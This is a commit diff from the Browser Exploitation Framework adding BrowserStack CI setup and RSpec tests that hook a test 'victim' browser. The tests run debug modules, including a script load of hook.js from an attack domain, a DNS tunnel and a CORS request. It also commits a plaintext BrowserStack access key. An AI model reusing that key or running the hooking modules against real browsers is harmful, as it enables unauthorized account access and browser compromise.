Pushing changes that should enable BrowserStack. Partly pushing to see if we get these results in Travis.

This commit is contained in:
Jack Walker
2020-04-14 16:21:40 +10:00
parent 7a27db0b3d
commit a271d7656b
7 changed files with 225 additions and 5 deletions

View File

@@ -21,6 +21,6 @@ addons:
- liblzma-dev
- libcurl4-openssl-dev
browserstack:
username: "greggregory4"
username: 'greggregory4'
access_key:
secure: "gXYr5fVYXFdbbJYMfoo7hMDDlrd6VA873MI64o/lwbVyvEf2CrRWE5RgHIqdUZ9mI8cVp/u52Sr/BWeqxSKmQFg4kWxRY9OqMSuZPLccnuTk765YZtph36GzxjY+x6264coa426fu24l+s3FPWdETdQe8uzisJyyQXDRomNxZLV48x+RKWyg2d4JNeWKhmD8NSo//8WA+IrHQP91YbDyeSEmHJhLWC2xz9wjWsi1J7ahNr7PMaqpsqUBwyj88xmGQ1mUUzIMCPOy2zs7CNKllvi4can7iAiJPYATanf1VoL1BDBpN1l8QIDyeeXtlAsw3c5OXYg0Xr8Q8Wf5qNkOpbVeL464uCi46bGPhL/QMVIn56bPUP99rZevwxYKdeDs4rDPRciSKaBgZ0bk2jBLrdqTlM6OLT4RVG47EX10SuURbJaQjPma5hOxiOqcuS8ajOHCDqC3zj3Ot1KLlI9vaX2xo+jaOjZ9l6sm3f+IgIYG22N86H/q8c6QeehqOastGTWb5QV1v4/+JtpKCwhU/TAxKa5td9we4Nu5E5RPTlOoA48GeQecToaOvcuofZB0JeNtiREGCfxY1VgFBHk07eEo5RTIbYch896p89K0Ybpi4HqQC8BeIaOyK6W71UM3R7bJR4cu5QnfR6vyZ1i+Q9z5zzwTeWL7Pb/kR7RSRUc="
secure: 'gXYr5fVYXFdbbJYMfoo7hMDDlrd6VA873MI64o/lwbVyvEf2CrRWE5RgHIqdUZ9mI8cVp/u52Sr/BWeqxSKmQFg4kWxRY9OqMSuZPLccnuTk765YZtph36GzxjY+x6264coa426fu24l+s3FPWdETdQe8uzisJyyQXDRomNxZLV48x+RKWyg2d4JNeWKhmD8NSo//8WA+IrHQP91YbDyeSEmHJhLWC2xz9wjWsi1J7ahNr7PMaqpsqUBwyj88xmGQ1mUUzIMCPOy2zs7CNKllvi4can7iAiJPYATanf1VoL1BDBpN1l8QIDyeeXtlAsw3c5OXYg0Xr8Q8Wf5qNkOpbVeL464uCi46bGPhL/QMVIn56bPUP99rZevwxYKdeDs4rDPRciSKaBgZ0bk2jBLrdqTlM6OLT4RVG47EX10SuURbJaQjPma5hOxiOqcuS8ajOHCDqC3zj3Ot1KLlI9vaX2xo+jaOjZ9l6sm3f+IgIYG22N86H/q8c6QeehqOastGTWb5QV1v4/+JtpKCwhU/TAxKa5td9we4Nu5E5RPTlOoA48GeQecToaOvcuofZB0JeNtiREGCfxY1VgFBHk07eEo5RTIbYch896p89K0Ybpi4HqQC8BeIaOyK6W71UM3R7bJR4cu5QnfR6vyZ1i+Q9z5zzwTeWL7Pb/kR7RSRUc='

View File

@@ -65,7 +65,7 @@ group :test do
gem 'test-unit'
gem 'test-unit-full'
gem 'rspec'
gem 'rdoc'
gem 'rdoc'
# curb gem requires curl libraries
# sudo apt-get install libcurl4-openssl-dev
gem 'curb'
@@ -82,6 +82,7 @@ group :test do
gem 'irb'
gem 'pry-byebug'
gem "websocket-client-simple", "~> 0.3.0"
gem 'browserstack-local'
end
source 'https://rubygems.org'

View File

@@ -244,4 +244,4 @@ namespace :db do
task :environment do
require_relative "beef"
end
end
end

View File

@@ -6,7 +6,7 @@
beef:
module:
test_get_variable:
enable: false
enable: enable
category: "Debug"
name: "Test JS variable passing"
description: "Test for JS variable passing from another BeEF's script via Window object"

View File

@@ -0,0 +1,164 @@
#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'rest-client'
require 'json'
require_relative '../../../support/constants'
require_relative '../../../support/beef_test'
RSpec.describe 'BeEF Debug Command Modules:' do
before(:all) do
# Grab config and set creds in variables for ease of access
@config = BeEF::Core::Configuration.instance
@username = @config.get('beef.credentials.user')
@password = @config.get('beef.credentials.passwd')
# Load BeEF exetensions and modules
BeEF::Extensions.load
sleep 10
BeEF::Modules.load
# Grab DB file and regenerate if requested
db_file = @config.get('beef.database.file')
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
File.delete(db_file) if File.exists?(db_file)
end
# Load up DB and migrate if necessary
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database: db_file)
context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
end
sleep 10
BeEF::Core::Migration.instance.update_db!
# Spawn HTTP Server
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare
# Generate a token for the server to respond with
BeEF::Core::Crypto::api_token
# Initiate server start-up
@pids = fork do
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
end
@pid = fork do
http_hook_server.start
end
# Give the server time to start-up
sleep 1
# Authenticate to REST API & pull the token from the response
@response = RestClient.post "#{RESTAPI_ADMIN}/login", { 'username': "#{@username}", 'password': "#{@password}" }.to_json, :content_type => :json
@token = JSON.parse(@response)['token']
# Hook new victim
@victim = BeefTest.new_victim
sleep 5
# Identify Session ID of victim generated above
@hooks = RestClient.get "#{RESTAPI_HOOKS}?token=#{@token}"
@session = JSON.parse(@hooks)['hooked-browsers']['online']['0']['session']
end
after(:all) do
Process.kill("KILL",@pid)
Process.kill("KILL",@pids)
end
it 'The Test_beef.debug() command module successfully executes' do
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/27?token=#{@token}",
{ "msg": "test" }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
end
it 'The Return ASCII Characters command module successfully executes' do
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/25?token=#{@token}",
{ }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
end
it "The Return Image command module successfully executes" do
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/22?token=#{@token}",
{ }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
end
it 'The Test HTTP Redirect command module successfully executes' do
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/24?token=#{@token}",
{ }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
end
it "The Test Returning Results/Long String command module successfully executes" do
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/29?token=#{@token}",
{ "repeat": 20,
"repeat_string": "beef" }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
end
it "The Test Network Request command module successfully executes" do
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/29?token=#{@token}",
{ "scheme": "http",
"method": "GET",
"domain": "#{ATTACK_DOMAIN}",
"port": "#{@config.get('beef.http.port')}",
"path": "/hook.js",
"anchor": "anchor",
"data": "query=testquerydata",
"timeout": "10",
"dataType": "script" }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
end
it "The Test DNS Tunnel command module successfully executes" do
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/26?token=#{@token}",
{ "domain": "example.com",
"data": "Lorem ipsum" }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
end
it "The Test CORS Request command module successfully executes" do
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/30?token=#{@token}",
{ "method": "GET",
"url": "example.com",
"data": {
"test": "data"
}}.to_json,
content_type: :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
end
end

View File

@@ -13,6 +13,10 @@ require 'core/bootstrap.rb'
require 'rack/test'
require 'curb'
require 'rest-client'
require 'yaml'
require 'selenium-webdriver'
require 'browserstack/local'
require 'byebug'
# Require supports
Dir['spec/support/*.rb'].each do |f|
@@ -22,6 +26,13 @@ end
ENV['RACK_ENV'] ||= 'test'
ARGV = []
# BrowserStack config
TASK_ID = (ENV['TASK_ID'] || 0).to_i
CONFIG_NAME = ENV['CONFIG_NAME'] || 'browserstack'
CONFIG = YAML.safe_load(File.read("./spec/support/#{CONFIG_NAME}.config.yml"))
CONFIG['user'] = ENV['BROWSERSTACK_USERNAME'] || CONFIG['user']
CONFIG['key'] = ENV['BROWSERSTACK_ACCESS_KEY'] || CONFIG['key']
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:':memory:')
@@ -46,4 +57,30 @@ RSpec.configure do |config|
raise ActiveRecord::Rollback
end
end
# BrowserStack
config.around(:example) do |example|
@caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])
@caps["name"] = ENV['name'] || example.metadata[:name] || example.metadata[:file_path].split('/').last.split('.').first
enable_local = @caps["browserstack.local"] && @caps["browserstack.local"].to_s == "true"
# Code to start browserstack local before start of test
if enable_local
@bs_local = BrowserStack::Local.new
bs_local_args = { "key" => CONFIG['key'], "forcelocal" => true }
@bs_local.start(bs_local_args)
@caps["browserstack.local"] = true
end
@driver = Selenium::WebDriver.for(:remote,
:url => "http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub",
:desired_capabilities => @caps)
begin
example.run
ensure
@driver.quit
# Code to stop browserstack local after end of test
@bs_local.stop if enable_local
end
end
end

View File

@@ -0,0 +1,18 @@
server: "hub-cloud.browserstack.com"
user: "greggregory4"
key: "Vyo52yEzjPkDmqANH6qH"
common_caps:
"build": "rspec-browserstack"
"browserstack.debug": true
"name": "BStack-[RSpec] Local Test"
browser_caps:
-
"browser": "chrome"
-
"browser": "firefox"
-
"browser": "internet explorer"
-
"browser": "safari"